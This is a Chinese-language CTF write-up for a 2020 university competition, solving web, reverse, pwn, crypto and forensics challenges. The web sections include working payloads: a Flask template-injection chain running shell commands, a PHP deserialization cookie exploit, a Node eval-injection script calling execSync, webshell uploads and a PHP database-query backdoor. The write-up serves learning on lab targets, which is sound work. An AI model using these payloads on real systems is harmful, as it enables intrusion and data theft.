2020 10月CUMTCTF wp

Theoyu²發表於2020-10-31

華為杯 × 簽到杯

論比賽過程來說沒什麼很大收穫 但看師傅們的wp感觸很多 賽後復現慢慢學吧

Web

babyflask

flask ssti模板注入: payload{{key}}發現[]以及類似os,__import__等敏感關鍵詞都被過濾。

  1. __getitem__(2)來表示[number],__getattribute__('__a'+'bc__')來表示[__abc__]

  2. 最終payload{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__getattribute__('fun'+'c_globals').linecache.__getattribute__('o'+'s').popen('ls').read()}}

    回顯目錄檔案,找到flag後把ls替換為cat ../flag即可獲得flag

如果猜到flag檔案在根目錄下 直接payload{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read()}}即可

doge

F12檢視原始碼 複製所有的aaencode,刪除最後一個 ('_');再在控制檯貼上輸出,得到原始碼,

控制檯輸出

$.ajax({
            url: '\u0063\u0068\u0065\u0063\u006b\u002e\u0070\u0068\u0070',
            type: '\u0050\u004f\u0053\u0054',
            data: '\u006e\u0075\u006d\u003d' + 1009,
    //1009為任意符合要求的素數均可
            success: function (data) {
                alert(data);}})

獲得base64加密flag,解碼即可。

然而我朋友說他一進去搖獎就得到了flag..好像概率的確也不小。

WellCMS

進入環境,是一個配置比較齊全的題,首先看到登陸的地方,抓包看一看。

對密碼進行了md5加密,burp suite爆破有md5加密的處理,試一試。

成功了,解密出來密碼是admin123。

然後好像這種類部落格管理的題,存在漏洞的地方大多都是在檔案上傳處。

在內容管理的地方,可以增加內容,有一個新增附件,抓包發現把內容base64加密,但沒有攔截..

然後上傳成功了..問題是並不知道這個檔案傳到哪了,無法建立連線。

發現在發表內容的時候,可以選擇封面圖,抓包檔案內容也是base64加密,把filetype改為php,內容改為一句話木馬試試。

居然直接成功了,還回顯了檔案位置,訪問拿到flag。

嗚嗚嗚感覺這題難度應該放在easy吧,大多數可能都是和我一樣題都沒點開的..

Hodor

根據提示,get ['source'],得到原始碼。

<?php

Class Source {
    public function __toString() {
        return highlight_file('license.txt', true).highlight_file($this->source, true);
    }
}

function easy_check($str) {
    //echo $str;
    if (preg_match("/flag/i", $str, $matches)) {
        return false;
    }
    return true;
}

if(isset($_GET['source'])){
    $s = new Source();
    $s->source = __FILE__;

    echo $s;
    exit;
}

$todos = [];

if(isset($_COOKIE['todos'])){
    if(!easy_check($_COOKIE['todos'])) {
        echo "Hacker!\n";
    } else {
        $c = $_COOKIE['todos'];
        $h = substr($c, 0, 32);
        $m = substr($c, 32);
        if(md5($m) === $h){
            $todos = unserialize($m);
        }
    }
}

if(isset($_POST['text'])){
    $todo = $_POST['text'];

    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);

    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
// flag is in flag.php
?>
<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?> 

程式碼審計

  • 在_toString中,有highlight_file($this->source, true);看來得生成一個Source類的例項,並且這個例項的source=flag.php,並且有把其當作字串的地方。
  • 最後一個位置<?=$todo?>其實為<?php echo $todo?>的一種簡寫形式,並且上面的foreach是對陣列用的,那麼初步找到這個例項就是todo,並且發現前面也有反序列化函式。
<?php
    class Source
{
    public $source;
}
    $a= new Source();
    $a->source='flag.php';
    $ser=serialize(($a));
    echo $ser;//O:6:"Source":1:{s:6:"source";s:8:"flag.php";}
?>
  • 繼續往上看,發現要想觸發unserialize(),得滿足兩個要求,一個是對flag的檢測,可用大S+/66lag繞過,第二個是一個md5加密,也好說。
<?php
    $ser='a:1:{i:0;O:6:"Source":1:{s:6:"source";S:8:"\66lag.php";}}';//資料型別S大寫
	$a=substr(md5($ser),0,32);
    $b=$a.urlencode($ser);
	echo $b;
?>

得到最後post text的值:df80635527eb9189c1197254ad3c46bca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Source%22%3A1%3A%7Bs%3A6%3A%22source%22%3BS%3A8%3A%22%5C66lag.php%22%3B%7D%7D

koa<

對js還不是很瞭解,慢慢學..

原始碼:

const Koa = require('koa');
const Router = require('koa-router');
const Parser = require('koa-bodyparser');
const fs = require('fs');

let app = new Koa();
let router = new Router();

app.use(Parser());

router.get('/', async ctx => {
    ctx.response.body = `<html><a href="/src">Source Code</a></html>`;
});

let btoa = s => new Buffer(s + '').toString(encoding='base64');
let atob = s => new Buffer(s + '', encoding='base64').toString();
const src = btoa(fs.readFileSync('app.js'));

router.get('/src', async ctx => {
    ctx.response.body = src;
});

let filter = expr => {
    let blacklist = ['(', ')', '.', '&', '#', '\\', '"', '`', ' '];
    for (const ele of expr) {
        if (blacklist.includes(ele))
            return false;
    }
    return true;
}

router.post('/expr', async ctx => {
    let expr = ctx.request.body.expr || '8 ^ 1';
    if (!filter(expr)) {
        ctx.response.body = '?';
        return;
    }
    ctx.response.body = eval(expr);
})

app.use(router.routes());
app.listen(9999);

exp:

import requests
url="http://219.219.61.234:30000/expr"
res1=requests.post(url,data={"expr":"filter=e=>{return/**/true}"})
#print(res1.text)
res2=requests.post(url,data=
{"expr":'global.process.mainModule.constructor._load("child_process").execSync(" ../readflag").toString()'})
print(res2.text)

VulnCMS

一個全是漏洞的網站:

在這種模擬真實環境的題目下,一定要注意路徑的變化。

在登陸介面,看到在路徑裡看到member,想到admin,弱口令admin admin 登陸成功。

不虧是有很多漏洞的環境,拿到管理員許可權後,就有好幾種方法造成檔案上傳漏洞了。

  1. 作為管理員,在上傳設定處可以直接修改檔案字尾名白名單,加上php後就可以用其他使用者上傳php(但是不知道傳在哪),再用管理員賬號登陸管理檔案就可以看到位置了。
  2. 利用命令注入,在根目錄寫入shell。

之後蟻劍連線。

找了半天flag影子都沒見著,但在根目錄發現一個mysql.php(後來才知道這是前面做出來的學長寫的..),然後連線在資料庫裡把flag找到了.

學長的意思應該是要根據config資料夾下的database.php自己寫連線資料庫的exp。

<?php
$servername = "mysql";
$username = "root";
$password = "root";
$dbname = "yxjcms";
# kg_yyds(dddd)
$conn = mysqli_connect($servername, $username, $password,$dbname);
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
else{
    echo("✔");
}
$sql = $_POST['sql'];
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    // 輸出資料
    while($row = $result->fetch_assoc()) {
        var_dump($row);
        echo("?•☠ ");
    }
} else {
    echo "✖";
}
$conn->close();
?>

最後拿到flag。

Re

hello_world

開啟ida, 發現將輸入與一段資料進行異或加密。再進行一次異或解密即可。

non_name

開啟ida, 得到了一個比較複雜的方程,進入matlab矩陣消元求解。

Pwn

login

同樣的開啟ida, 發現其呼叫了read函式, nbytes 引數設定為100h, 但其buf指標僅僅開闢了很小的一部分空間,因此可以加以利用。先將buf的地址填滿,然後再填入八個位元組rbp

,最後填入要執行的system函式的地址。利用pwntools寫python指令碼可以快速得到題解。

Crypto

Classical

維吉尼亞加密的密文,線上網站直接爆破密文。

EZRSA

wienner attack 下載後破解

Misc

Sign In

010開啟,base64解碼,brainfuck解密獲得flag

出個流量分析吧

記事本開啟搜尋flag獲得flag..

出個LSB吧

lsb 原題

出個文件吧

感覺是docx隱寫,但不知道為什麼我下下來直接就獲得了flag..

出個壓縮包吧

開啟壓縮包,顯示secret.png檔案頭損壞,010開啟,rar壓縮包裡檔案
塊頭為A8 3C 74,把 7A修改為74得到空白圖片。stegsolve調到red0色域出現半張二維碼,懷疑為雙圖層,改字尾為.gif 。ps開啟發現的確有隱藏圖層,匯出後同樣步驟得到上部分二維碼,最後再剪接一塊二維碼定位塊即可掃描得到flag。

總感覺很熟悉..在哪做過?

出個偽web吧

我們的思路是直接匯入資料庫,然後配置環境弄了很久..最後把整個檔案都匯入了,啥也沒發現,attacktest.sql匯入後在phpmyadmin裡觀察攻擊者的動機,也沒發現什麼,最後發現了一個密碼。

最後的結果是沒有做出來,wp是根據檔案修改時間找到include.php檔案然後裡面有flag,或者直接全域性搜尋

這才想起來,這只是一道misc Easy題

總的來說很是感覺有點遺憾,完全是送分的一道題..

出個記憶體取證吧

聽說又是原題..不得不懷疑我的搜尋能力了

都說kali自帶volatility..但我也沒有 老倒黴蛋了 下在了windows上

  • 獲取基本資訊
.\volatility_2.6_win64_standalone.exe imageinfo -f .\1.img

三個profile一個一個嘗試 |findstr flag ,最後在P1找到

.\volatility_2.6_win64_standalone.exe filescan -f .\1.img --profile=Win2003SP1x86 | findstr flag

追蹤flag.png,發現在explorer.exe程式裡,把explore.exe pid為1992,將其匯出

.\volatility_2.6_win64_standalone.exe -f .\1.img -- profile=Win2003SP1x86  memdump -p 1992 -D ./

拖進kali binwalk看一下

圖片掃碼獲得密文,不是base64,提示iv,搜尋得知為AES加密,線上解密獲得flag